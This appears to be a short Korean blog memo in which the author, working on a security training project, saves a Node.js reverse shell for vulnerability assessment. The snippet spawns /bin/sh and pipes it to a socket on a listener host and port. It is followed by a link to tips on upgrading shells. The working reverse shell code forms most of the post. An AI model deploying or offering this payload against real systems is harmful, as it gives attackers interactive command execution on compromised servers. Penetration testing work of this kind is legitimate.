Node.js reverse Shell

요즘 비오비에서 진행하는 프로젝트 때문에 Node.js를 보고있다.

그리고 취약점 진단을 위한 Node.js 리버스쉘코드가 필요한데 이참에 정리해둔다.

 

	(function(){
	var net = require("net"),
	cp = require("child_process"),
	sh = cp.spawn("/bin/sh", []);
	var client = new net.Socket();
	client.connect(5050, "127.0.0.1", function(){
	client.pipe(sh.stdin);
	sh.stdout.pipe(client);
	sh.stderr.pipe(client);
	});
	return /a/;
	})();

view raw reverseShell.js hosted with ❤ by GitHub

 

 

또한 아래는 리버스쉘 관련 팁들인데 시간나면 번역해서 정리해둬야겠다.

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/